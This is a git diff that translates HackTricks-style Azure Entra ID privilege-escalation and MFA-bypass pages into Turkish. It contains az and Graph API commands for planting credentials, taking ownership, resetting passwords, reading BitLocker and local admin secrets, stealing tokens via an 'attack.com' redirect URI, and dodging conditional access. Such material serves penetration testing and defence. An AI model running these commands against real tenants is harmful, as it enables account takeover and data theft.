"https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)' +--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)' # Change the permissions of a custom role az rest --method PATCH \ - --uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/" \ - --headers "Content-Type=application/json" \ - --body '{ - "description": "Update basic properties of application registrations", - "rolePermissions": [ - { - "allowedResourceActions": [ - "microsoft.directory/applications/credentials/update" - ] - } - ] - }' +--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/" \ +--headers "Content-Type=application/json" \ +--body '{ +"description": "Update basic properties of application registrations", +"rolePermissions": [ +{ +"allowedResourceActions": [ +"microsoft.directory/applications/credentials/update" +] +} +] +}' ``` - -## Applications +## Uygulamalar ### `microsoft.directory/applications/credentials/update` -This allows an attacker to **add credentials** (passwords or certificates) to existing applications. If the application has privileged permissions, the attacker can authenticate as that application and gain those privileges. - +Bu, bir saldırgana mevcut uygulamalara **kimlik bilgileri** (şifreler veya sertifikalar) ekleme imkanı tanır. Uygulama ayrıcalıklı izinlere sahipse, saldırgan o uygulama olarak kimlik doğrulaması yapabilir ve bu ayrıcalıkları elde edebilir. ```bash # Generate a new password without overwritting old ones az ad app credential reset --id --append # Generate a new certificate without overwritting old ones az ad app credential reset --id --create-cert ``` - ### `microsoft.directory/applications.myOrganization/credentials/update` -This allows the same actions as `applications/credentials/update`, but scoped to single-directory applications. - +Bu, `applications/credentials/update` ile aynı eylemleri sağlar, ancak tek dizin uygulamaları için kapsamlıdır. ```bash az ad app credential reset --id --append ``` - ### `microsoft.directory/applications/owners/update` -By adding themselves as an owner, an attacker can manipulate the application, including credentials and permissions. - +Kendilerini bir sahip olarak ekleyerek, bir saldırgan uygulamayı, kimlik bilgileri ve izinler dahil olmak üzere manipüle edebilir. ```bash az ad app owner add --id --owner-object-id az ad app credential reset --id --append @@ -84,78 +75,66 @@ az ad app credential reset --id --append # You can check the owners with az ad app owner list --id ``` - ### `microsoft.directory/applications/allProperties/update` -An attacker can add a redirect URI to applications that are being used by users of the tenant and then share with them login URLs that use the new redirect URL in order to steal their tokens. Note that if the user was already logged in the application, the authentication is going to be automatic without the user needing to accept anything. - -Note that it's also possible to change the permissions the application requests in order to get more permissions, but in this case the user will need accept again the prompt asking for all the permissions. +Bir saldırgan, kiracının kullanıcıları tarafından kullanılan uygulamalara bir yönlendirme URI'si ekleyebilir ve ardından bu yeni yönlendirme URL'sini kullanan oturum açma URL'lerini onlarla paylaşarak token'larını çalabilir. Kullanıcının zaten uygulamada oturum açmış olması durumunda, kimlik doğrulama otomatik olacak ve kullanıcının herhangi bir şeyi kabul etmesine gerek kalmayacaktır. +Ayrıca, uygulamanın talep ettiği izinleri değiştirmek ve daha fazla izin almak da mümkündür, ancak bu durumda kullanıcının tüm izinleri isteyen istemi tekrar kabul etmesi gerekecektir. ```bash # Get current redirect uris az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris" # Add a new redirect URI (make sure to keep the configured ones) az ad app update --id --web-redirect-uris "https://original.com/callback https://attack.com/callback" ``` - ## Service Principals ### `microsoft.directory/servicePrincipals/credentials/update` -This allows an attacker to add credentials to existing service principals. If the service principal has elevated privileges, the attacker can assume those privileges. - +Bu, bir saldırganın mevcut hizmet ilkelerine kimlik bilgileri eklemesine olanak tanır. Eğer hizmet ilkesi yükseltilmiş ayrıcalıklara sahipse, saldırgan bu ayrıcalıkları üstlenebilir. ```bash az ad sp credential reset --id --append ``` - > [!CAUTION] -> The new generated password won't appear in the web console, so this could be a stealth way to maintain persistence over a service principal.\ -> From the API they can be found with: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json` - -If you get the error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` it's because **it's not possible to modify the passwordCredentials property** of the SP and first you need to unlock it. For it you need a permission (`microsoft.directory/applications/allProperties/update`) that allows you to execute: +> Yeni oluşturulan şifre web konsolunda görünmeyecek, bu nedenle bu, bir hizmet ilkesinde kalıcılığı sürdürmenin gizli bir yolu olabilir.\ +> API'den şu şekilde bulunabilir: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json` +Eğer `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` hatasını alıyorsanız, bunun nedeni **SP'nin passwordCredentials özelliğini değiştirmenin mümkün olmamasıdır** ve önce onu kilidini açmanız gerekir. Bunun için, şunu çalıştırmanıza izin veren bir izne ihtiyacınız var (`microsoft.directory/applications/allProperties/update`): ```bash az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/ --body '{"servicePrincipalLockConfiguration": null}' ``` - ### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage` -This allows an attacker to add credentials to existing service principals. If the service principal has elevated privileges, the attacker can assume those privileges. - +Bu, bir saldırganın mevcut hizmet ilkelerine kimlik bilgileri eklemesine olanak tanır. Eğer hizmet ilkesi yükseltilmiş ayrıcalıklara sahipse, saldırgan bu ayrıcalıkları üstlenebilir. ```bash az ad sp credential reset --id --append ``` - ### `microsoft.directory/servicePrincipals/owners/update` -Similar to applications, this permission allows to add more owners to a service principal. Owning a service principal allows control over its credentials and permissions. - +Uygulamalara benzer şekilde, bu izin bir hizmet ilkesine daha fazla sahip eklemeye olanak tanır. Bir hizmet ilkesine sahip olmak, onun kimlik bilgileri ve izinleri üzerinde kontrol sağlar. ```bash # Add new owner spId="" userId="" az rest --method POST \ - --uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \ - --headers "Content-Type=application/json" \ - --body "{ - \"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\" - }" +--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \ +--headers "Content-Type=application/json" \ +--body "{ +\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\" +}" az ad sp credential reset --id --append # You can check the owners with az ad sp owner list --id ``` - > [!CAUTION] -> After adding a new owner, I tried to remove it but the API responded that the DELETE method wasn't supported, even if it's the method you need to use to delete the owner. So you **can't remove owners nowadays**. +> Yeni bir sahip ekledikten sonra, onu kaldırmaya çalıştım ama API, DELETE yönteminin desteklenmediğini yanıtladı, bu yöntem sahibi silmek için kullanmanız gereken yöntemdir. Yani **günümüzde sahipleri kaldıramazsınız**. -### `microsoft.directory/servicePrincipals/disable` and `enable` +### `microsoft.directory/servicePrincipals/disable` ve `enable` -These permissions allows to disable and enable service principals. An attacker could use this permission to enable a service principal he could get access to somehow to escalate privileges. - -Note that for this technique the attacker will need more permissions in order to take over the enabled service principal. +Bu izinler, hizmet ilkelerini devre dışı bırakma ve etkinleştirme olanağı sağlar. Bir saldırgan, ayrıcalıkları artırmak için erişim sağlayabileceği bir hizmet ilkesini etkinleştirmek için bu izni kullanabilir. +Bu teknik için saldırganın etkinleştirilen hizmet ilkesini ele geçirmek için daha fazla izne ihtiyacı olacağını unutmayın. ```bash bashCopy code# Disable az ad sp update --id --account-enabled false @@ -163,11 +142,9 @@ az ad sp update --id --account-enabled false # Enable az ad sp update --id --account-enabled true ``` - #### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials` -These permissions allow to create and get credentials for single sign-on which could allow access to third-party applications. - +Bu izinler, üçüncü taraf uygulamalara erişim sağlayabilecek tek oturum açma için kimlik bilgileri oluşturma ve alma yetkisi verir. ```bash # Generate SSO creds for a user or a group spID="" @@ -175,176 +152,155 @@ user_or_group_id="" username="" password="" az rest --method POST \ - --uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \ - --headers "Content-Type=application/json" \ - --body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}" +--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \ +--headers "Content-Type=application/json" \ +--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}" # Get credentials of a specific credID credID="" az rest --method POST \ - --uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \ - --headers "Content-Type=application/json" \ - --body "{\"id\": \"$credID\"}" +--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \ +--headers "Content-Type=application/json" \ +--body "{\"id\": \"$credID\"}" ``` - --- -## Groups +## Gruplar ### `microsoft.directory/groups/allProperties/update` -This permission allows to add users to privileged groups, leading to privilege escalation. - +Bu izin, kullanıcıları ayrıcalıklı gruplara eklemeye olanak tanır ve bu da ayrıcalık yükselmesine yol açar. ```bash az ad group member add --group --member-id ``` - -**Note**: This permission excludes Entra ID role-assignable groups. +**Not**: Bu izin, Entra ID rol atanabilir gruplarını hariç tutar. ### `microsoft.directory/groups/owners/update` -This permission allows to become an owner of groups. An owner of a group can control group membership and settings, potentially escalating privileges to the group. - +Bu izin, grupların sahibi olmayı sağlar. Bir grubun sahibi, grup üyeliğini ve ayarlarını kontrol edebilir, bu da potansiyel olarak grubun ayrıcalıklarını artırabilir. ```bash az ad group owner add --group --owner-object-id az ad group member add --group --member-id ``` - -**Note**: This permission excludes Entra ID role-assignable groups. +**Not**: Bu izin, Entra ID rol atama gruplarını hariç tutar. ### `microsoft.directory/groups/members/update` -This permission allows to add members to a group. An attacker could add himself or malicious accounts to privileged groups can grant elevated access. - +Bu izin, bir gruba üye eklemeye olanak tanır. Bir saldırgan, kendisini veya kötü niyetli hesapları ayrıcalıklı gruplara ekleyerek yükseltilmiş erişim sağlayabilir. ```bash az ad group member add --group --member-id ``` - ### `microsoft.directory/groups/dynamicMembershipRule/update` -This permission allows to update membership rule in a dynamic group. An attacker could modify dynamic rules to include himself in privileged groups without explicit addition. - +Bu izin, dinamik bir gruptaki üyelik kuralını güncellemeye olanak tanır. Bir saldırgan, kendisini ayrı bir ekleme olmadan ayrıcalıklı gruplara dahil etmek için dinamik kuralları değiştirebilir. ```bash groupId="" az rest --method PATCH \ - --uri "https://graph.microsoft.com/v1.0/groups/$groupId" \ - --headers "Content-Type=application/json" \ - --body '{ - "membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")", - "membershipRuleProcessingState": "On" - }' +--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \ +--headers "Content-Type=application/json" \ +--body '{ +"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")", +"membershipRuleProcessingState": "On" +}' ``` +**Not**: Bu izin, Entra ID rol atanabilir gruplarını hariç tutar. -**Note**: This permission excludes Entra ID role-assignable groups. +### Dinamik Gruplar Privesc -### Dynamic Groups Privesc - -It might be possible for users to escalate privileges modifying their own properties to be added as members of dynamic groups. For more info check: +Kullanıcıların, dinamik gruplara üye olarak eklenmek için kendi özelliklerini değiştirmesiyle yetkileri artırması mümkün olabilir. Daha fazla bilgi için kontrol edin: {{#ref}} dynamic-groups.md {{#endref}} -## Users +## Kullanıcılar ### `microsoft.directory/users/password/update` -This permission allows to reset password to non-admin users, allowing a potential attacker to escalate privileges to other users. This permission cannot be assigned to custom roles. - +Bu izin, yönetici olmayan kullanıcıların şifresini sıfırlamaya olanak tanır ve potansiyel bir saldırganın diğer kullanıcılara yetki artırmasına olanak sağlar. Bu izin özel rollere atanamaz. ```bash az ad user update --id --password "kweoifuh.234" ``` - ### `microsoft.directory/users/basic/update` -This privilege allows to modify properties of the user. It's common to find dynamic groups that add users based on properties values, therefore, this permission could allow a user to set the needed property value to be a member to a specific dynamic group and escalate privileges. - +Bu ayrıcalık, kullanıcının özelliklerini değiştirmeye olanak tanır. Özellik değerlerine dayalı olarak kullanıcı ekleyen dinamik grupların bulunması yaygındır, bu nedenle bu izin, bir kullanıcının belirli bir dinamik grup üyesi olmak için gerekli özellik değerini ayarlamasına ve ayrıcalıkları artırmasına olanak tanıyabilir. ```bash #e.g. change manager of a user victimUser="" managerUser="" az rest --method PUT \ - --uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \ - --headers "Content-Type=application/json" \ - --body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}' +--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \ +--headers "Content-Type=application/json" \ +--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}' #e.g. change department of a user az rest --method PATCH \ - --uri "https://graph.microsoft.com/v1.0/users/$victimUser" \ - --headers "Content-Type=application/json" \ - --body "{\"department\": \"security\"}" +--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \ +--headers "Content-Type=application/json" \ +--body "{\"department\": \"security\"}" ``` +## Koşullu Erişim Politikaları & MFA atlatma -## Conditional Access Policies & MFA bypass - -Misconfigured conditional access policies requiring MFA could be bypassed, check: +Yanlış yapılandırılmış MFA gerektiren koşullu erişim politikaları atlatılabilir, kontrol edin: {{#ref}} az-conditional-access-policies-mfa-bypass.md {{#endref}} -## Devices +## Cihazlar ### `microsoft.directory/devices/registeredOwners/update` -This permission allows attackers to assigning themselves as owners of devices to gain control or access to device-specific settings and data. - +Bu izin, saldırganların kendilerini cihazların sahibi olarak atamalarına ve cihazlara özgü ayar ve verilere erişim sağlamalarına olanak tanır. ```bash deviceId="" userId="" az rest --method POST \ - --uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \ - --headers "Content-Type=application/json" \ - --body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}' +--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \ +--headers "Content-Type=application/json" \ +--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}' ``` - ### `microsoft.directory/devices/registeredUsers/update` -This permission allows attackers to associate their account with devices to gain access or to bypass security policies. - +Bu izin, saldırganların hesaplarını cihazlarla ilişkilendirmesine olanak tanır, böylece erişim elde edebilir veya güvenlik politikalarını atlayabilirler. ```bash deviceId="" userId="" az rest --method POST \ - --uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \ - --headers "Content-Type=application/json" \ - --body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}' +--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \ +--headers "Content-Type=application/json" \ +--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}' ``` - ### `microsoft.directory/deviceLocalCredentials/password/read` -This permission allows attackers to read the properties of the backed up local administrator account credentials for Microsoft Entra joined devices, including the password - +Bu izin, saldırganların Microsoft Entra'ya katılan cihazlar için yedeklenmiş yerel yönetici hesap kimlik bilgilerini, şifre de dahil olmak üzere, okumalarına olanak tanır. ```bash # List deviceLocalCredentials az rest --method GET \ - --uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials" +--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials" # Get credentials deviceLC="" az rest --method GET \ - --uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \ +--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \ ``` - ## BitlockerKeys ### `microsoft.directory/bitlockerKeys/key/read` -This permission allows to access BitLocker keys, which could allow an attacker to decrypt drives, compromising data confidentiality. - +Bu izin, BitLocker anahtarlarına erişim sağlar; bu da bir saldırganın sürücüleri şifrelerini çözmesine ve veri gizliliğini tehlikeye atmasına olanak tanıyabilir. ```bash # List recovery keys az rest --method GET \ - --uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys" +--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys" # Get key recoveryKeyId="" az rest --method GET \ - --uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key" +--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key" ``` - -## Other Interesting permissions (TODO) +## Diğer İlginç İzinler (TODO) - `microsoft.directory/applications/permissions/update` - `microsoft.directory/servicePrincipals/permissions/update` @@ -355,7 +311,3 @@ az rest --method GET \ - `microsoft.directory/applications.myOrganization/permissions/update` {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md index 27bf965d0..c80b012d5 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -1,93 +1,90 @@ -# Az - Conditional Access Policies & MFA Bypass +# Az - Koşullu Erişim Politikaları & MFA Atlatma {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -Azure Conditional Access policies are rules set up in Microsoft Azure to enforce access controls to Azure services and applications based on certain **conditions**. These policies help organizations secure their resources by applying the right access controls under the right circumstances.\ -Conditional access policies basically **defines** **Who** can access **What** from **Where** and **How**. +Azure Koşullu Erişim politikaları, belirli **koşullara** dayalı olarak Azure hizmetlerine ve uygulamalarına erişim kontrollerini uygulamak için Microsoft Azure'da kurulan kurallardır. Bu politikalar, organizasyonların doğru koşullar altında doğru erişim kontrollerini uygulayarak kaynaklarını güvence altına almasına yardımcı olur.\ +Koşullu erişim politikaları esasen **Kim**'in **Neyi** **Nereden** ve **Nasıl** erişebileceğini **tanımlar**. -Here are a couple of examples: +İşte birkaç örnek: -1. **Sign-In Risk Policy**: This policy could be set to require multi-factor authentication (MFA) when a sign-in risk is detected. For example, if a user's login behavior is unusual compared to their regular pattern, such as logging in from a different country, the system can prompt for additional authentication. -2. **Device Compliance Policy**: This policy can restrict access to Azure services only to devices that are compliant with the organization's security standards. For instance, access could be allowed only from devices that have up-to-date antivirus software or are running a certain operating system version. +1. **Oturum Açma Risk Politikası**: Bu politika, bir oturum açma riski tespit edildiğinde çok faktörlü kimlik doğrulama (MFA) gerektirecek şekilde ayarlanabilir. Örneğin, bir kullanıcının oturum açma davranışı, farklı bir ülkeden oturum açmak gibi, normal desenine kıyasla alışılmadık olduğunda, sistem ek kimlik doğrulama talep edebilir. +2. **Cihaz Uygunluk Politikası**: Bu politika, yalnızca organizasyonun güvenlik standartlarına uygun cihazlara Azure hizmetlerine erişimi kısıtlayabilir. Örneğin, yalnızca güncel antivirüs yazılımına sahip veya belirli bir işletim sistemi sürümünü çalıştıran cihazlardan erişime izin verilebilir. -## Conditional Acces Policies Bypasses +## Koşullu Erişim Politikası Atlatmaları -It's possible that a conditional access policy is **checking some information that can be easily tampered allowing a bypass of the policy**. And if for example the policy was configuring MFA, the attacker will be able to bypass it. +Bir koşullu erişim politikasının **kolayca manipüle edilebilecek bazı bilgileri kontrol etmesi mümkündür, bu da politikanın atlatılmasına olanak tanır**. Örneğin, politika MFA'yı yapılandırıyorsa, saldırgan bunu atlatabilecektir. -When configuring a conditional access policy it's needed to indicate the **users** affected and **target resources** (like all cloud apps). +Bir koşullu erişim politikası yapılandırırken, etkilenen **kullanıcıları** ve **hedef kaynakları** (tüm bulut uygulamaları gibi) belirtmek gerekir. -It's also needed to configure the **conditions** that will **trigger** the policy: +Ayrıca, politikayı **tetikleyecek** **koşulları** yapılandırmak da gereklidir: -- **Network**: Ip, IP ranges and geographical locations - - Can be bypassed using a VPN or Proxy to connect to a country or managing to login from an allowed IP address -- **Microsoft risks**: User risk, Sign-in risk, Insider risk -- **Device platforms**: Any device or select Android, iOS, Windows phone, Windows, macOS, Linux - - If “Any device” is not selected but all the other options are selected it’s possible to bypass it using a random user-agent not related to those platforms -- **Client apps**: Option are “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” and Other clients” - - To bypass login with a not selected option -- **Filter for devices**: It’s possible to generate a rule related the used device -- A**uthentication flows**: Options are “Device code flow” and “Authentication transfer” - - This won’t affect an attacker unless he is trying to abuse any of those protocols in a phishing attempt to access the victims account +- **Ağ**: IP, IP aralıkları ve coğrafi konumlar +- Bir VPN veya Proxy kullanarak bir ülkeye bağlanarak veya izin verilen bir IP adresinden oturum açarak atlatılabilir +- **Microsoft riskleri**: Kullanıcı riski, Oturum açma riski, İçeriden gelen risk +- **Cihaz platformları**: Herhangi bir cihaz veya Android, iOS, Windows Phone, Windows, macOS, Linux seçilebilir +- “Herhangi bir cihaz” seçilmediğinde ancak diğer tüm seçenekler seçildiğinde, bu platformlarla ilgili olmayan rastgele bir kullanıcı aracını kullanarak atlatmak mümkündür +- **İstemci uygulamaları**: Seçenekler “Tarayıcı”, “Mobil uygulamalar ve masaüstü istemcileri”, “Exchange ActiveSync istemcileri” ve “Diğer istemciler” +- Seçilmeyen bir seçenekle oturum açmayı atlatmak için +- **Cihazlar için filtre**: Kullanılan cihaza ilişkin bir kural oluşturmak mümkündür +- **Kimlik doğrulama akışları**: Seçenekler “Cihaz kodu akışı” ve “Kimlik doğrulama transferi” +- Bu, bir saldırganı etkilemeyecektir, yalnızca bu protokollerden herhangi birini bir kimlik avı girişiminde kurbanın hesabına erişmek için kötüye kullanmaya çalışıyorsa -The possible **results** are: Block or Grant access with potential conditions like require MFA, device to be compliant… +Olası **sonuçlar**: Erişimi engelle veya MFA gerektirmek, cihazın uygun olmasını sağlamak gibi potansiyel koşullarla erişim izni ver. -### Device Platforms - Device Condition +### Cihaz Platformları - Cihaz Koşulu -It's possible to set a condition based on the **device platform** (Android, iOS, Windows, macOS...), however, this is based on the **user-agent** so it's easy to bypass. Even **making all the options enforce MFA**, if you use a **user-agent that it isn't recognized,** you will be able to bypass the MFA or block: +**Cihaz platformuna** (Android, iOS, Windows, macOS...) dayalı bir koşul ayarlamak mümkündür, ancak bu **kullanıcı aracına** dayandığı için atlatmak kolaydır. Tüm seçenekleri MFA'yı zorlamak için ayarlasanız bile, **tanınmayan bir kullanıcı aracı** kullanırsanız, MFA'yı veya engellemeyi atlatabilirsiniz:
-Just making the browser **send an unknown user-agent** (like `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) is enough to not trigger this condition.\ -You can change the user agent **manually** in the developer tools: +Tarayıcının **bilinmeyen bir kullanıcı aracı göndermesini sağlamak** (örneğin `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) bu koşulu tetiklememek için yeterlidir.\ +Kullanıcı aracını **manuel olarak** geliştirici araçlarında değiştirebilirsiniz:
- Or use a [browser extension like this one](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en). + Ya da [bunun gibi bir tarayıcı uzantısı](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en) kullanabilirsiniz. -### Locations: Countries, IP ranges - Device Condition +### Konumlar: Ülkeler, IP aralıkları - Cihaz Koşulu -If this is set in the conditional policy, an attacker could just use a **VPN** in the **allowed country** or try to find a way to access from an **allowed IP address** to bypass these conditions. +Bu koşullu politikada ayarlandığında, bir saldırgan sadece **izin verilen ülkede** bir **VPN** kullanabilir veya bu koşulları atlatmak için **izin verilen bir IP adresinden** erişim sağlamanın bir yolunu bulmaya çalışabilir. -### Cloud Apps +### Bulut Uygulamaları -It's possible to configure **conditional access policies to block or force** for example MFA when a user tries to access **specific app**: +Bir kullanıcı **belirli bir uygulamaya** erişmeye çalıştığında, örneğin MFA'yı engellemek veya zorlamak için **koşullu erişim politikaları** yapılandırmak mümkündür:
-To try to bypass this protection you should see if you can **only into any application**.\ -The tool [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) has **tens of application IDs hardcoded** and will try to login into them and let you know and even give you the token if successful. - -In order to **test specific application IDs in specific resources** you could also use a tool such as: +Bu korumayı atlatmaya çalışmak için, **sadece herhangi bir uygulamaya** erişip erişemeyeceğinizi kontrol etmelisiniz.\ +[**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) aracı, **yüzlerce uygulama kimliği kodlanmış** ve bunlara giriş yapmaya çalışacak, başarılı olursa size token verecektir. +**Belirli kaynaklarda belirli uygulama kimliklerini test etmek** için ayrıca şu aracı kullanabilirsiniz: ```bash roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout ``` +Ayrıca, giriş yöntemini korumak da mümkündür (örneğin, tarayıcıdan veya masaüstü uygulamasından giriş yapmaya çalışıyorsanız). Araç [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) bu korumaları aşmaya çalışmak için bazı kontroller gerçekleştirir. -Moreover, it's also possible to protect the login method (e.g. if you are trying to login from the browser or from a desktop application). The tool [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) perform some checks to try to bypass this protections also. +Araç [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) benzer amaçlar için kullanılabilir, ancak bakımsız görünüyor. -The tool [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) could also be used to similar purposes although it looks unmantained. +Araç [**ROPCI**](https://github.com/wunderwuzzi23/ropci) bu korumaları test etmek ve MFA'ları veya engelleri aşmanın mümkün olup olmadığını görmek için de kullanılabilir, ancak bu araç **beyaz kutu** perspektifinden çalışır. Öncelikle kiracıda izin verilen Uygulamalar listesini indirmeniz gerekir ve ardından bunlara giriş yapmaya çalışacaktır. -The tool [**ROPCI**](https://github.com/wunderwuzzi23/ropci) can also be used to test this protections and see if it's possible to bypass MFAs or blocks, but this tool works from a **whitebox** perspective. You first need to download the list of Apps allowed in the tenant and then it will try to login into them. +## Diğer Az MFA Aşmaları -## Other Az MFA Bypasses +### Zil sesi -### Ring tone - -One Azure MFA option is to **receive a call in the configured phone number** where it will be asked the user to **send the char `#`**. +Bir Azure MFA seçeneği, **yapılandırılmış telefon numarasına bir çağrı almak** ve kullanıcıdan **`#` karakterini göndermesini istemektir**. > [!CAUTION] -> As chars are just **tones**, an attacker could **compromise** the **voicemail** message of the phone number, configure as the message the **tone of `#`** and then, when requesting the MFA make sure that the **victims phone is busy** (calling it) so the Azure call gets redirected to the voice mail. +> Karakterler sadece **tonlar** olduğundan, bir saldırgan **telefon numarasının** **sesli mesajını ele geçirebilir**, mesaj olarak **`#` tonunu** yapılandırabilir ve ardından MFA talep edildiğinde **kurbanın telefonunun meşgul olduğundan emin olabilir** (aramak suretiyle) böylece Azure çağrısı sesli mesaja yönlendirilir. -### Compliant Devices +### Uyumlu Cihazlar -Policies often asks for a compliant device or MFA, so an **attacker could register a compliant device**, get a **PRT** token and **bypass this way the MFA**. - -Start by registering a **compliant device in Intune**, then **get the PRT** with: +Politikalar genellikle uyumlu bir cihaz veya MFA talep eder, bu nedenle bir **saldırgan uyumlu bir cihaz kaydedebilir**, bir **PRT** token alabilir ve **bu şekilde MFA'yı aşabilir**. +Öncelikle **Intune'da uyumlu bir cihaz kaydederek** başlayın, ardından **PRT'yi** almak için: ```powershell $prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\.pfx -Credentials $credentials @@ -97,89 +94,72 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken ``` - -Find more information about this kind of attack in the following page: +Daha fazla bilgi için bu tür bir saldırı hakkında aşağıdaki sayfayı inceleyin: {{#ref}} ../../az-lateral-movement-cloud-on-prem/pass-the-prt.md {{#endref}} -## Tooling +## Araçlar ### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) -This script get some user credentials and check if it can login in some applications. +Bu script bazı kullanıcı kimlik bilgilerini alır ve bazı uygulamalara giriş yapıp yapamayacağını kontrol eder. -This is useful to see if you **aren't required MFA to login in some applications** that you might later abuse to **escalate pvivileges**. +Bu, bazı uygulamalara giriş yapmak için **MFA gerekmiyorsa** bunu görmek için yararlıdır; bu uygulamaları daha sonra **yetki yükseltmek** için kötüye kullanabilirsiniz. ### [roadrecon](https://github.com/dirkjanm/ROADtools) -Get all the policies - +Tüm politikaları alır. ```bash roadrecon plugin policies ``` - ### [Invoke-MFASweep](https://github.com/dafthack/MFASweep) -MFASweep is a PowerShell script that attempts to **log in to various Microsoft services using a provided set of credentials and will attempt to identify if MFA is enabled**. Depending on how conditional access policies and other multi-factor authentication settings are configured some protocols may end up being left single factor. It also has an additional check for ADFS configurations and can attempt to log in to the on-prem ADFS server if detected. - +MFASweep, sağlanan bir kimlik bilgileri seti kullanarak **çeşitli Microsoft hizmetlerine giriş yapmayı deneyen ve MFA'nın etkin olup olmadığını belirlemeye çalışan** bir PowerShell betiğidir. Koşullu erişim politikaları ve diğer çok faktörlü kimlik doğrulama ayarlarının nasıl yapılandırıldığına bağlı olarak 